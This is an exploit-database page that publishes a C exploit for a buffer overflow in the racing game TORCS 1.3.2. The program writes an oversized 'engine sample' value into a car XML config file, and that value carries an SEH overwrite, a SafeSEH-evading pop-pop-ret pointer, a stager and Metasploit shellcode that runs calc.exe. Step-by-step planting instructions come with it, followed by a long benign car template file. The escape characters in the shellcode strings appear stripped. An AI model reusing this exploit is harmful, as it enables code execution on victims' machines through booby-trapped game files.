[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : TORCS <= 1.3.2 xml buffer overflow /SAFESEH evasion
# Published : 2012-02-08
# Author :
# Previous Title : CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)
# Next Title : Novell Client 4.91 SP4 Privilege Escalation Exploit


/* Exploit Title: TORCS <= 1.3.2 buffer overflow /SAFESEH evasion
# Date: 07/02/2012
# Discovered and exploited by: Fluidsignal Group -> Research Team Division
# Author:   Andres Gomez and David Mora (a.k.a Mighty-D) ... Pwn and beans!
# Software Link: http://torcs.sourceforge.net/
# Version: torcs 1.3.2
# Vendor notified: 03/02/2012
# Tested on: Windows XP Service Pack 3 Spanish
# CVE : */

/* 
Create template.xml file (see and the end of submission). Place both .c and template.xml files
in the same folder. Run the exploit, this will append a 'sound' section in the template file.
Move the xml file into torcs/cars/sc-f1/ and replace sc-f1.xml (F1 car Config.) for example.
Choose car and run a race. Torcs will then crash.
*/


#include <stdio.h>
#include <stdlib.h>

/*
   Shellcode: msfpayload windows/exec CMD=calc.exe R | msfencode register=ebp -e x86/alpha_mixed -t c
*/

unsigned char shellcode[] = 
"x55x59x49x49x49x49x49x49x49x49x49x49x49x49x49"
"x49x49x49x37x51x5ax6ax41x58x50x30x41x30x41x6b"
"x41x41x51x32x41x42x32x42x42x30x42x42x41x42x58"
"x50x38x41x42x75x4ax49x4bx4cx5ax48x4fx79x43x30"
"x45x50x45x50x51x70x4bx39x4dx35x50x31x4bx62x51"
"x74x4cx4bx50x52x50x30x4cx4bx50x52x54x4cx4cx4b"
"x50x52x47x64x4ex6bx51x62x51x38x56x6fx4dx67x51"
"x5ax54x66x54x71x49x6fx56x51x4fx30x4ex4cx47x4c"
"x50x61x51x6cx54x42x56x4cx51x30x4fx31x58x4fx56"
"x6dx56x61x4bx77x49x72x5ax50x52x72x43x67x4ex6b"
"x51x42x54x50x4ex6bx43x72x45x6cx45x51x58x50x4c"
"x4bx51x50x52x58x4ex65x4fx30x43x44x43x7ax47x71"
"x58x50x56x30x4cx4bx43x78x54x58x4ex6bx43x68x47"
"x50x43x31x4ex33x4bx53x45x6cx52x69x4cx4bx45x64"
"x4cx4bx56x61x58x56x56x51x49x6fx54x71x4fx30x4e"
"x4cx5ax61x58x4fx56x6dx45x51x58x47x56x58x49x70"
"x51x65x5ax54x56x63x43x4dx49x68x47x4bx43x4dx47"
"x54x52x55x4dx32x51x48x4cx4bx43x68x51x34x47x71"
"x4bx63x50x66x4cx4bx54x4cx52x6bx4ex6bx43x68x47"
"x6cx45x51x5ax73x4cx4bx47x74x4cx4bx43x31x5ax70"
"x4cx49x52x64x56x44x51x34x51x4bx51x4bx43x51x52"
"x79x52x7ax56x31x49x6fx49x70x43x68x51x4fx50x5a"
"x4cx4bx54x52x5ax4bx4fx76x51x4dx52x4ax43x31x4c"
"x4dx4ex65x4dx69x47x70x45x50x47x70x56x30x51x78"
"x45x61x4ex6bx50x6fx4fx77x4bx4fx58x55x4dx6bx5a"
"x50x58x35x4fx52x43x66x43x58x4dx76x5ax35x4fx4d"
"x4dx4dx4bx4fx4bx65x45x6cx54x46x51x6cx45x5ax4f"
"x70x49x6bx49x70x51x65x43x35x4fx4bx52x67x52x33"
"x43x42x50x6fx50x6ax47x70x56x33x49x6fx49x45x50"
"x63x45x31x50x6cx50x63x54x6ex51x75x54x38x50x65"
"x45x50x41x41";

unsigned char stage[] = "x55x58x35x41x41x41x75x35x69x4Ax41x75x50x5D";// ebp = &shellcode
unsigned char seh_pointer [] = "x4Ex20xC9x72"; // seh pointer pop pop ret; no safeseh on msacm32.drv 
unsigned char short_jump [] = "xEBx20x41x41"; // short jump;

int main(int argc, char **argv) {

    FILE *save_fd;
    int i=0;

    save_fd = fopen("template.xml", "a+");

    if (save_fd == NULL) {
	    printf("Failed to open '%s' for writing", "template.xml");
	    return -1;
    }

    fprintf(save_fd, "<section name="Sound">n"
		     "<attstr name="engine sample" val="");
    for(i=0; i < 1529; i++) {
    	putc('x41', save_fd);
    }
    fprintf(save_fd, "%s", short_jump);
    fprintf(save_fd, "%s", seh_pointer);
    for(i=0; i < 0x22; i++) {
    	putc('x41', save_fd);
    }
    fprintf(save_fd, "%s", stage);
    for(i=0; i < 8; i++) {
    	putc('x41', save_fd);
    }
    fprintf(save_fd, "%s", shellcode);
    fprintf(save_fd, ""/>n");
    fprintf(save_fd, "<attnum name="rpm scale" val="0.35"/>n");
    fprintf(save_fd, "</section>n");
    fprintf(save_fd, "</params>n");

    close(save_fd);

    return 0;
}

=====================
TEMPLATE.XML
<?xml version="1.0" encoding="UTF-8"?>

<!-- 
	 file                 : sc-f1.xml
	 created              : Tue Nov 02 23:03:59 CET 2000
	 copyright            : (C) 2004 by SpeedyChonChon
	 email                : speedy.chonchon@free.fr
	 version              : $Id: sc-f1.xml,v 1.5.2.1 2008/06/01 09:56:42 berniw Exp $
	 -->

<!--    This program is free software; you can redistribute it and/or modify  -->
<!--    it under the terms of the GNU General Public License as published by  -->
<!--    the Free Software Foundation; either version 2 of the License, or     -->
<!--    (at your option) any later version.                                   -->

<!DOCTYPE params SYSTEM "../../../../src/libs/tgf/params.dtd">

<params name="Formula One" type="template">
	<section name="Driver">
		
		<!-- Position of the driver -->
		<attnum name="xpos" val="0.1" unit="m"/>
		<attnum name="ypos" val="0.0" unit="m"/>
		<attnum name="zpos" val="0.73" unit="m"/>
	</section>
	
	<section name="Graphic Objects">
		<attstr name="env" val="sc-f1.acc"/>
		<attstr name="wheel texture" val="tex-wheel.rgb"/>
		<attstr name="shadow texture" val="shadow.rgb"/>
		<attstr name="tachometer texture" val="rpm20000.rgb"/>
		<attnum name="tachometer min value" val="0" unit="rpm"/>
		<attnum name="tachometer max value" val="20000" unit="rpm"/>
		<attstr name="speedometer texture" val="speed360.rgb"/>
		<attnum name="speedometer min value" val="0" unit="km/h"/>
		<attnum name="speedometer max value" val="360" unit="km/h"/>
		
		<section name="Ranges">
			<section name="1">
				<attnum name="threshold" val="0"/>
				<attstr name="car" val="sc-f1.acc"/>
				<attstr name="wheels" val="yes"/>
			</section>
		</section>
		
		<!--    <section name="Light">
			<section name="1">
				<attstr name="type" val="brake2"/>
				<attnum name="xpos" val="-2.36"/>
				<attnum name="ypos" val="0.52"/>
				<attnum name="zpos" val="0.67"/>
				<attnum name="size" val="0.3"/>
			</section>
			<section name="2">
				<attstr name="type" val="brake2"/>
				<attnum name="xpos" val="-2.36"/>
				<attnum name="ypos" val="-0.52"/>
				<attnum name="zpos" val="0.67"/>
				<attnum name="size" val="0.3"/>
			</section>
		</section>-->
		
	</section>
	
	<section name="Car">
		<attstr name="category" val="F1"/>
		<attnum name="body length" unit="m" val="4.8"/>
		<attnum name="body width" unit="m" val="1.8"/>
		<attnum name="body height" unit="m" val="1.08"/>
		
		<!-- collision bounding box -->
		<attnum name="overall length" unit="m" val="4.8"/>
		<attnum name="overall width" unit="m" val="2.4"/>
		<attnum name="mass" unit="kg" val="600.0"/>
		<attnum name="GC height" unit="m" val="0.20"/>
		
		<!-- weight bias -->
		<attnum name="front-rear weight repartition" min="0.3" max="0.7" val="0.4"/>
		<attnum name="front right-left weight repartition" min="0.4" max="0.6" val="0.5"/>
		<attnum name="rear right-left weight repartition" min="0.4" max="0.6" val="0.5"/>
		
		<!-- used for inertia, smaller values indicate better mass centering -->
		<attnum name="mass repartition coefficient" val="0.6" min="0.4" max="1.0"/>
		<attnum name="fuel tank" unit="l" val="100.0"/>
		<attnum name="initial fuel" unit="l" min="1.0" max="100.0" val="100.0"/>
	</section>
	
	<section name="Exhaust">
		
		<!-- for flames -->
		<attnum name="power" val="1.5"/>
		<section name="1">
			<attnum name="xpos" val="-2.15"/>
			<attnum name="ypos" val="-0.48"/>
			<attnum name="zpos" val="0.23"/>
		</section>
		
		<section name="2">
			<attnum name="xpos" val="-2.15"/>
			<attnum name="ypos" val="0.48"/>
			<attnum name="zpos" val="0.23"/>
		</section>
	</section>
	
	
	<section name="Aerodynamics">
		<attnum name="Cx" val="0.32"/>
		<attnum name="front area" unit="m2" val="2.0"/>
		<attnum name="front Clift" val="0.2"/>
		<attnum name="rear Clift" val="0.7"/>
	</section>
	
	<section name="Front Wing">
		<attnum name="area" unit="m2" val="0.8"/>
		<attnum name="angle" unit="deg" val="13"/>
		<attnum name="xpos" unit="m" val="2.0"/>
		<attnum name="zpos" unit="m" val=".1"/>
	</section>
	
	<section name="Rear Wing">
		<attnum name="area" unit="m2" val="1.1"/>
		<attnum name="angle" unit="deg" val="7"/>
		<attnum name="xpos" unit="m" val="-2.0"/>
		<attnum name="zpos" unit="m" val=".5"/>
	</section>
	
	
	<!-- Same engine for every one -->
	<section name="Engine">
		<attnum name="revs maxi" unit="rpm" min="5000" max="20000" val="20000"/>
		<attnum name="revs limiter" unit="rpm" min="3000" max="20000" val="18700"/>
		<attnum name="tickover" unit="rpm" val="5000"/>
		<attnum name="fuel cons factor" min="1.1" max="1.3" val="1.3"/>
		<section name="data points">
			<section name="1">
				<attnum name="rpm" unit="rpm" val="0"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="2000.0" val="100"/>
			</section>
			
			<section name="2">
				<attnum name="rpm" unit="rpm" val="1000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="1473.0" val="100"/>
			</section>
			
			<section name="3">
				<attnum name="rpm" unit="rpm" val="2000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="1355.0" val="120"/>
			</section>
			
			<section name="4">
				<attnum name="rpm" unit="rpm" val="3000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="1275.0" val="140"/>
			</section>
			
			<section name="5">
				<attnum name="rpm" unit="rpm" val="4000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="1145.0" val="160"/>
			</section>
			
			<section name="6">
				<attnum name="rpm" unit="rpm" val="5000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="1000.0" val="180"/>
			</section>
			
			<section name="7">
				<attnum name="rpm" unit="rpm" val="6000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="884.0" val="220"/>
			</section>
			
			<section name="8">
				<attnum name="rpm" unit="rpm" val="7000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="799.0" val="260"/>
			</section>
			
			<section name="9">
				<attnum name="rpm" unit="rpm" val="8000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="735.0" val="300"/>
			</section>
			
			<section name="10">
				<attnum name="rpm" unit="rpm" val="9000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="686.0" val="340"/>
			</section>
			
			<section name="11">
				<attnum name="rpm" unit="rpm" val="10000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="647.0" val="340"/>
			</section>
			
			<section name="12">
				<attnum name="rpm" unit="rpm" val="11000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="971.0" val="340.0"/>
			</section>
			
			<section name="13">
				<attnum name="rpm" unit="rpm" val="12000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="890.0" val="340.0"/>
			</section>
			
			<section name="14">
				<attnum name="rpm" unit="rpm" val="13000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="821.0" val="345.0"/>
			</section>
			
			<section name="15">
				<attnum name="rpm" unit="rpm" val="14000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="762.0" val="350.0"/>
			</section>
			
			<section name="16">
				<attnum name="rpm" unit="rpm" val="15000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="712.0" val="355.0"/>
			</section>
			
			<section name="17">
				<attnum name="rpm" unit="rpm" val="16000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="667.0" val="360.0"/>
			</section>
			
			<section name="18">
				<attnum name="rpm" unit="rpm" val="17000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="628.0" val="360.0"/>
			</section>
			
			<section name="19">
				<attnum name="rpm" unit="rpm" val="18000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="593.0" val="360.0"/>
			</section>
			
			<section name="20">
				<attnum name="rpm" unit="rpm" val="19000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="562.0" val="330.0"/>
			</section>
			
			<section name="21">
				<attnum name="rpm" unit="rpm" val="20000"/>
				<attnum name="Tq" unit="N.m" min="0.0" max="534.0" val="300.0"/>
			</section>
		</section>
	</section>
	
	<section name="Clutch">
		
		<!-- pressure plate -->
		<attnum name="inertia" unit="kg.m2" val="0.1150"/>
	</section>
	
	
	<section name="Gearbox">
		<attnum name="shift time" val="0.05" unit="s"/>
		<section name="gears">
			<section name="r">
				<attnum name="ratio" min="-3" max="0" val="-2.0"/>
				<attnum name="inertia" val="0.0037"/>
				<attnum name="efficiency" val="0.957"/>
			</section>
			
			<section name="1">
				<attnum name="ratio" min="0" max="5" val="3.9"/>
				<attnum name="inertia" val="0.003"/>
				<attnum name="efficiency" val="0.955"/>
			</section>
			
			<section name="2">
				<attnum name="ratio" min="0" max="5" val="2.9"/>
				<attnum name="inertia" val="0.0037"/>
				<attnum name="efficiency" val="0.957"/>
			</section>
			
			<section name="3">
				<attnum name="ratio" min="0" max="5" val="2.3"/>
				<attnum name="inertia" val="0.0048"/>
				<attnum name="efficiency" val="0.950"/>
			</section>
			
			<section name="4">
				<attnum name="ratio" min="0" max="5" val="1.87"/>
				<attnum name="inertia" val="0.0064"/>
				<attnum name="efficiency" val="0.983"/>
			</section>
			
			<section name="5">
				<attnum name="ratio" min="0" max="5" val="1.68"/>
				<attnum name="inertia" val="0.0107"/>
				<attnum name="efficiency" val="0.948"/>
			</section>
			
			<section name="6">
				<attnum name="ratio" min="0" max="5" val="1.54"/>
				<attnum name="inertia" val="0.0150"/>
				<attnum name="efficiency" val="0.940"/>
			</section>
			
			<section name="7">
				<attnum name="ratio" min="0" max="5" val="1.46"/>
				<attnum name="inertia" val="0.0150"/>
				<attnum name="efficiency" val="0.940"/>
			</section>
			
			
		</section>
	</section>
	
	<section name="Steer">
		<attnum name="steer lock" unit="deg" min="1" max="21" val="21"/>
		<attnum name="max steer speed" unit="deg/s" min="1" max="360" val="360"/>
	</section>
	
	<section name="Drivetrain">
		<attstr name="type" val="RWD"/>
		<attnum name="inertia" unit="kg.m2" val="0.0091"/>
	</section>
	
	<section name="Rear Differential">
		
		<!-- type of differential : SPOOL (locked), FREE, LIMITED SLIP -->
		<attstr name="type" in="SPOOL,FREE,LIMITED SLIP" val="LIMITED SLIP"/>
		<attnum name="inertia" unit="kg.m2" val="0.0488"/>
		<attnum name="ratio" min="0" max="10" val="4.5"/>
		<attnum name="efficiency" val="0.9625"/>
	</section>
	
	<section name="Brake System">
		<attnum name="front-rear brake repartition" min="0.3" max="0.7" val="0.45"/>
		<attnum name="max pressure" unit="kPa" min="100" max="150000" val="24000"/>
	</section>
	
	<section name="Front Axle">
		<attnum name="xpos" unit="m" val="1.6"/>
		<attnum name="inertia" unit="kg.m2" val="0.0056"/>
		<attnum name="roll center height" unit="m" val="0.012"/>
	</section>
	
	<section name="Rear Axle">
		<attnum name="xpos" unit="m" val="-1.35"/>
		<attnum name="inertia" unit="kg.m2" val="0.0080"/>
		<attnum name="roll center height" unit="m" val="0.04"/>
	</section>
	
	<section name="Front Right Wheel">
		<attnum name="ypos" unit="m" val="-0.70"/>
		<attnum name="rim diameter" unit="in" val="12"/>
		<attnum name="tire width" unit="mm" val="300"/>
		<attnum name="tire height-width ratio" val="0.5"/>
		<attnum name="inertia" unit="kg.m2" val="1.2200"/>
		
		<!-- initial ride height -->
		<attnum name="ride height" unit="mm" min="50" max="300" val="70"/>
		<attnum name="toe" unit="deg" min="-5" max="5" val="0"/>
		<attnum name="camber" min="-5" max="0" unit="deg" val="-4"/>
		
		<!-- Adherence -->
		<attnum name="stiffness" min="20.0" max="50.0" val="20.0"/>
		<attnum name="dynamic friction" unit="%" min="70" max="80" val="70"/>
		<attnum name="rolling resistance" val="0.03"/>
		<attnum name="mu" min="0.05" max="1.8" val="1.6"/>
	</section>
	
	<section name="Front Left Wheel">
		<attnum name="ypos" unit="m" val="0.70"/>
		<attnum name="rim diameter" unit="in" val="12"/>
		<attnum name="tire width" unit="mm" val="300"/>
		<attnum name="tire height-width ratio" val="0.5"/>
		
		<!-- initial ride height -->
		<attnum name="ride height" unit="mm" min="50" max="300" val="70"/>
		<attnum name="toe" unit="deg" min="-5" max="5" val="0"/>
		<attnum name="camber" min="-5" max="0" unit="deg" val="-4"/>
		
		<!-- Adherence -->
		<attnum name="stiffness" min="20.0" max="50.0" val="20.0"/>
		<attnum name="dynamic friction" unit="%" min="70" max="80" val="70"/>
		<attnum name="rolling resistance" val="0.03"/>
		<attnum name="mu" min="0.05" max="1.8" val="1.6"/>
	</section>
	
	<section name="Rear Right Wheel">
		<attnum name="ypos" unit="m" val="-0.75"/>
		<attnum name="rim diameter" unit="in" val="13"/>
		<attnum name="tire width" unit="mm" val="300"/>
		<attnum name="tire height-width ratio" val=".5"/>
		
		<!-- initial ride height -->
		<attnum name="ride height" unit="mm" min="50" max="300" val="100"/>
		<attnum name="toe" unit="deg" min="-5" max="5" val="0.15"/>
		<attnum name="camber" min="-5" max="0" unit="deg" val="-1.5"/>
		
		<!-- Adherence -->
		<attnum name="stiffness" min="20.0" max="50.0" val="20.0"/>
		<attnum name="dynamic friction" unit="%" min="70" max="80" val="70"/>
		<attnum name="rolling resistance" val="0.03"/>
		<attnum name="mu" min="0.05" max="1.8" val="1.6"/>
	</section>
	
	<section name="Rear Left Wheel">
		<attnum name="ypos" unit="m" val="0.75"/>
		<attnum name="rim diameter" unit="in" val="13"/>
		<attnum name="tire width" unit="mm" val="300"/>
		<attnum name="tire height-width ratio" val=".5"/>
		
		<!-- initial ride height -->
		<attnum name="ride height" unit="mm" min="50" max="300" val="100"/>
		<attnum name="toe" unit="deg" min="-5" max="5" val="-0.15"/>
		<attnum name="camber" min="-5" max="0" unit="deg" val="-1.5"/>
		
		<!-- Adherence -->
		<attnum name="stiffness" min="20.0" max="50.0" val="20.0"/>
		<attnum name="dynamic friction" unit="%" min="70" max="80" val="70"/>
		<attnum name="rolling resistance" val="0.03"/>
		<attnum name="mu" min="0.05" max="1.8" val="1.6"/>
	</section>
	
	<section name="Front Anti-Roll Bar">
		<attnum name="spring" unit="lbs/in" min="0" max="5000" val="0"/>
		<attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/>
		<attnum name="bellcrank" min="1" max="5" val="2.5"/>
	</section>
	
	<section name="Rear Anti-Roll Bar">
		<attnum name="spring" unit="lbs/in" min="0" max="5000" val="0"/>
		<attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/>
		<attnum name="bellcrank" min="1" max="5" val="2.5"/>
	</section>
	
	<section name="Front Right Suspension">
		<attnum name="spring" unit="lbs/in" min="0" max="10000" val="2000"/>
		<attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/>
		<attnum name="bellcrank" min="0.1" max="5" val="1.5"/>
		<attnum name="packers" unit="mm" min="0" max="10" val="0"/>
		<attnum name="slow bump" unit="lbs/in/s" min="0" max="1000" val="80"/>
		<attnum name="slow rebound" unit="lbs/in/s" min="0" max="1000" val="80"/>
		<attnum name="fast bump" unit="lbs/in/s" min="0" max="1000" val="30"/>
		<attnum name="fast rebound" unit="lbs/in/s" min="0" max="1000" val="30"/>
	</section>
	
	<section name="Front Left Suspension">
		<attnum name="spring" unit="lbs/in" min="0" max="10000" val="2000"/>
		<attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/>
		<attnum name="bellcrank" min="0.1" max="5" val="1.5"/>
		<attnum name="packers" unit="mm" min="0" max="10" val="0"/>
		<attnum name="slow bump" unit="lbs/in/s" min="0" max="1000" val="80"/>
		<attnum name="slow rebound" unit="lbs/in/s" min="0" max="1000" val="80"/>
		<attnum name="fast bump" unit="lbs/in/s" min="0" max="1000" val="30"/>
		<attnum name="fast rebound" unit="lbs/in/s" min="0" max="1000" val="30"/>
	</section>
	
	<section name="Rear Right Suspension">
		<attnum name="spring" unit="lbs/in" min="0" max="10000" val="4000"/>
		<attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/>
		<attnum name="bellcrank" min="0.1" max="5" val="1.5"/>
		<attnum name="packers" unit="mm" min="0" max="10" val="0"/>
		<attnum name="slow bump" unit="lbs/in/s" min="0" max="1000" val="80"/>
		<attnum name="slow rebound" unit="lbs/in/s" min="0" max="1000" val="80"/>
		<attnum name="fast bump" unit="lbs/in/s" min="0" max="1000" val="30"/>
		<attnum name="fast rebound" unit="lbs/in/s" min="0" max="1000" val="30"/>
	</section>
	
	<section name="Rear Left Suspension">
		<attnum name="spring" unit="lbs/in" min="0" max="10000" val="4000"/>
		<attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/>
		<attnum name="bellcrank" min="0.1" max="5" val="1.5"/>
		<attnum name="packers" unit="mm" min="0" max="10" val="0"/>
		<attnum name="slow bump" unit="lbs/in/s" min="0" max="1000" val="80"/>
		<attnum name="slow rebound" unit="lbs/in/s" min="0" max="1000" val="80"/>
		<attnum name="fast bump" unit="lbs/in/s" min="0" max="1000" val="30"/>
		<attnum name="fast rebound" unit="lbs/in/s" min="0" max="1000" val="30"/>
	</section>
	
	<section name="Front Right Brake">
		<attnum name="disk diameter" unit="mm" min="100" max="380" val="380"/>
		<attnum name="piston area" unit="cm2" val="50"/>
		<attnum name="mu" val="0.3"/>
		<attnum name="inertia" unit="kg.m2" val="0.1241"/>
	</section>
	
	<section name="Front Left Brake">
		<attnum name="disk diameter" unit="mm" min="100" max="380" val="380"/>
		<attnum name="piston area" unit="cm2" val="50"/>
		<attnum name="mu" val="0.3"/>
		<attnum name="inertia" unit="kg.m2" val="0.1241"/>
	</section>
	
	<section name="Rear Right Brake">
		<attnum name="disk diameter" unit="mm" min="100" max="380" val="350"/>
		<attnum name="piston area" unit="cm2" val="25"/>
		<attnum name="mu" val="0.3"/>
		<attnum name="inertia" unit="kg.m2" val="0.0714"/>
	</section>
	
	<section name="Rear Left Brake">
		<attnum name="disk diameter" unit="mm" min="100" max="380" val="350"/>
		<attnum name="piston area" unit="cm2" val="25"/>
		<attnum name="mu" val="0.3"/>
		<attnum name="inertia" unit="kg.m2" val="0.0714"/>
	</section>